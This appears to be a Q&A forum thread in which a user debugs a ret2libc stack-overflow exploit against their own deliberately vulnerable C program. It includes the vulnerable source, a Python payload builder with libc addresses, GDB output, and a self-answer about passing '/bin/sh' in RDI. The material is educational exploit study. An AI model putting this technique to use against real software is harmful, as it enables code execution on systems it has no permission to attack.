Search code examples
cbuffer-overflowlibcexploit

ret2libc: sh: line 1: command not found


So I've been trying to develop a ret2libc exploit for my program as shown below:

#include <stdlib.h>
#include <stdio.h>

void vuln()
{
  char arr[0x10];
  scanf("%s", arr);
  printf("Input: %s",arr);
}

int main()
{
  vuln();
  return 0;
}

I've compiled this program with: -fno-stack-protector -z execstack -ggdb and I have ASLR disabled along with removing my environment vars, this program is also set to 64-bit (since I'm on x86_64). The program above is compiled to sys.

I've developed the following stack overflow code:

from struct import pack
padding = b'A' * 24
system_addr = 0x7ffff7e15990
binsh_addr = 0x7ffff7f6304f # from libc, points to the string not the actual string itself
exit_addr = 0x7ffff7e07590
ret_addr = 0x55555555501a # need this since the stack won't align and will then segfault

payload = padding + pack("L", ret_addr) + pack("L", system_addr) + pack("L", exit_addr) + pack("L", binsh_addr)

# saving the payload to a file
with open("exp4", "wb") as f:
    f.write(payload)

So this exploit unfortunately doesn't work. Here's the output from running the exploit in GDB and then in my terminal

gdb-peda$ r $(cat exp4; cat)
Starting program: /home/ena/.../.../path/sys $(cat exp4; cat)
/bin/bash: line 1: warning: command substitution: ignored null byte in input
pwd
pwd
gdb-peda$ r < exp4
Starting program: /home/ena/.../.../path/sys < exp4
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
[Attaching after Thread 0x7ffff7fb4680 (LWP 20565) vfork to child process 20568]
[New inferior 2 (process 20568)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
[Detaching vfork parent process 20565 after child exec]
[Inferior 1 (process 20565) detached]
process 20568 is executing new program: /usr/bin/bash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
sh: -c: line 1: unexpected EOF while looking for matching ``'
sh: -c: line 2: syntax error: unexpected end of file
Input: AAAAAAAAAAAAAAAAAAAAAAAAPUUUU[Inferior 2 (process 20568) exited with code 02]
[ena@btw path]$ (cat exp4; cat) | ./sys
pwd
sh: line 1: $'\346\377\377\377\177': command not found
Input: AAAAAAAAAAAAAAAAAAAAAAAAPUUUU
[ena@btw path]$
[ena@btw path]$ cat exp4 | ./sys
sh: line 1: $'\346\377\377\377\177': command not found
Input: AAAAAAAAAAAAAAAAAAAAAAAAPUUUU[ena@btw path]$

I should note that trying (cat exp4; echo ""; cat) and other methods of controlling stdin have not worked.
I can say for certain that I am spawning the shell and that the addresses I'm using are correct.

I just can't for the life of me figure out why this is happening. What appears to be happening is sh is reading my exploit as stdin because if I tack on a \n to the payload, it will immediately display the command not found error and exit out (but no segfault).

So I thought this was some error with not flushing/clearing stdin so I added fflush(stdin) right after the call to scanf(const char*) but it didn't work either.

Any help is greatly appreciated.


Solution

  • I solved the problem, the issue was is I wasn't passing in the "/bin/sh" argument into the RDI register (in x86_64 the first 6 arguments get passed to a function via. registers). Unfortunately for me, when I compiled the source code on my machine there aren't any ropgadgets for pop rdi; ret so I cannot use a ret2libc exploit.

    Since system(const char* command) passes into execl("/bin/sh", "sh", "-c", command, (char *) NULL); the error here was that system() was being called with junk data already on the stack and not "/bin/sh", hence the "command not found error".